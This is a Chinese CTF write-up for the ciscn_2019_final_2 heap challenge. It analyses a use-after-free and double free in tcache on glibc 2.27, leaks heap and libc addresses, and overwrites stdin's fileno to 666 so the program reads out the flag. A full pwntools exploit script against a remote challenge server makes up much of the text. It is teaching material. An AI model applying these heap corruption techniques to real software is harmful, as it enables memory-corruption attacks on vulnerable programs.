ciscn_2019_final_2

检查防护措施

1

保护全开并且开了沙箱

2

基本只能读出flag拿不到shell了

IDA静态分析

3

在初始化的地方有一个dup2函数把flag的文件描述符改成了666

1
2
3
4
我们知道在Linux系统中一切皆可以看成是文件,文件又可分为:普通文件、目录文件、链接文件和设备文件。在操作这些所谓的文件的时候,我们每操作一次就找一次名字,这会耗费大量的时间和效率。所以Linux中规定每一个文件对应一个索引,这样要操作文件的时候,我们直接找到索引就可以对其进行操作了。

文件描述符(file descriptor)就是内核为了高效管理这些已经被打开的文件所创建的索引,其是一个非负整数(通常是小整数),用于指代被打开的文件,所有执行I/O操作的系统调用都通过文件描述符来实现。同时还规定系统刚刚启动的时候,0是标准输入,1是标准输出,2是标准错误。这意味着如果此时去打开一个新的文件,它的文件描述符会是3,再打开一个文件文件描述符就是4......

4

在退出函数中让我们输入并且把输入的打印出来,那么如果我们把标准输入stdin的文件描述符改为666,它就会读取flag的值并且打印出来了

add():

5

在add函数里当我们去申请chunk的时候会使全局变量bool 置 1,在后面free函数中会有一个检查,要是bool = 0 则无法free

我们可以申请两种chunk ,1:int_pt 4个字节存放了0x20的chunk的指针 2:short_pt 2个字节存放了0x10的chunk的指针

free():

6

释放chunk时会把全局变量bool置0,也就是说我们不能连续释放chunk,这里指针没有置0,存在UAF

show():

7

由于show_time–,所以只能show三次,且只能泄露4个字节或2个字节也就是堆的低位地址,也够用了因为高位是相同的

解题过程:

因为我们泄露libc地址主要还是用unstored bin的特性也就需要用到unstored bin但是这里的malloc size不是我们输入的

是程序给定的0x20和0x10那么我们就需要利用double free去修改chunk的size

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
add(1,0x30)  
free(1)
for i in range(4):
add(2,0x20)


free(2)
add(1,0x30) #置 bool = 1 使得2可以再次被释放
free(2)
show(2)
io.recvuntil('your short type inode number :')
heap_low_2byte = int(io.recvuntil('\n',drop = True))
if heap_low_2byte < 0:
heap_low_2byte += 0x10000
log.success('heap_low_2byte:'+hex(heap_low_2byte))

首先add(1,0x30)再free进tcache_bin中,为我们后面double free的时候去置bool = 1

8

接下来去修改chunk的size为0x91,然后填满tcache 去泄露libc

1
2
3
4
5
6
7
8
9
10
add(2,heap_low_2byte-0xa0)
add(2,0)
free(1)
gdb.attach(io)
add(2,0x91)
for i in range(7):
free(1)
add(2,0)

free(1)

9

1
2
3
4
5
6
7
8
9
10
11
show(1)
io.recvuntil('your int type inode number :')
main_arena_low_4byte = int(io.recvuntil('\n',drop = True)) - 96
if main_arena_low_4byte < 0:
main_arena_low_4byte += 0x100000000
log.success('main_arena_low_4byte=>' + hex(main_arena_low_4byte))
malloc_hook_low_4byte = (main_arena_low_4byte & 0xFFFFF000) + (libc.sym['__malloc_hook'] & 0xFFF)

libc_base_low_4byte=malloc_hook_low_4byte-libc.sym['__malloc_hook']
log.success('libc_base_low_4byte=>' + hex(libc_base_low_4byte))
stdin_filno_low_4byte=libc_base_low_4byte+libc.sym['_IO_2_1_stdin_']+0x70 #fileno相对_IO_2_1_stdin_

10

此时bin中是这样的,那么此时如果我们去申请0x10的chunk也就是short int,那么会从unsorted bin中分割0x20的chunk给我们,我们的malloc地址恰好是0x555556559260,那我们去修改其fd的位置指向_filno我们再申请回来是不是就可以修改fileno了

1
add(2,stdin_filno_low_4byte&0xffff)

11

现在申请回来修改为666就可以读出flag了

1
2
3
4
add(1,0)
add(1,666)
io.recvuntil('which command?')
io.sendline(str(4))

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
from pwn import *

context(os='linux', arch='amd64', log_level='debug')
context.terminal = ['tmux','splitw','-h']
#io = process(['/home/giantbranch/Desktop/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ld-2.27.so', './ciscn_final_2'], env={"LD_PRELOAD":'/home/giantbranch/Desktop/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc.so.6'})
#io = process('./ciscn_final_2')
io = remote('node4.buuoj.cn',28262)
elf = ELF("./ciscn_final_2")
libc = ELF('./libc-2.27.so')
def add(Type,content):
io.recvuntil('which command?')
io.sendline(str(1))
io.recvuntil('TYPE:\n1: int\n2: short int\n>')
io.sendline(str(Type))
io.recvuntil('your inode number:')
io.sendline(str(content))

def free(Type):
io.recvuntil('which command?')
io.sendline(str(2))
io.recvuntil('TYPE:\n1: int\n2: short int\n>')
io.sendline(str(Type))


def show(Type):
io.recvuntil('which command?')
io.sendline(str(3))
io.recvuntil('TYPE:\n1: int\n2: short int\n>')
io.sendline(str(Type))

add(1,0x30)
free(1)
for i in range(4):
add(2,0x20)


free(2)
add(1,0x30)
free(2)
show(2)
io.recvuntil('your short type inode number :')
heap_low_2byte = int(io.recvuntil('\n',drop = True))
if heap_low_2byte < 0:
heap_low_2byte += 0x10000
log.success('heap_low_2byte:'+hex(heap_low_2byte))

add(2,heap_low_2byte-0xa0)
add(2,0)
free(1)
add(2,0x91)
for i in range(7):
free(1)
add(2,0)

free(1)


show(1)
io.recvuntil('your int type inode number :')
main_arena_low_4byte = int(io.recvuntil('\n',drop = True)) - 96
if main_arena_low_4byte < 0:
main_arena_low_4byte += 0x100000000
log.success('main_arena_low_4byte=>' + hex(main_arena_low_4byte))
malloc_hook_low_4byte = (main_arena_low_4byte & 0xFFFFF000) + (libc.sym['__malloc_hook'] & 0xFFF)

libc_base_low_4byte=malloc_hook_low_4byte-libc.sym['__malloc_hook']
log.success('libc_base_low_4byte=>' + hex(libc_base_low_4byte))
stdin_filno_low_4byte=libc_base_low_4byte+libc.sym['_IO_2_1_stdin_']+0x70

add(2,stdin_filno_low_4byte&0xffff)

add(1,0)
add(1,666)
io.recvuntil('which command?')
io.sendline(str(4))
io.interactive()

12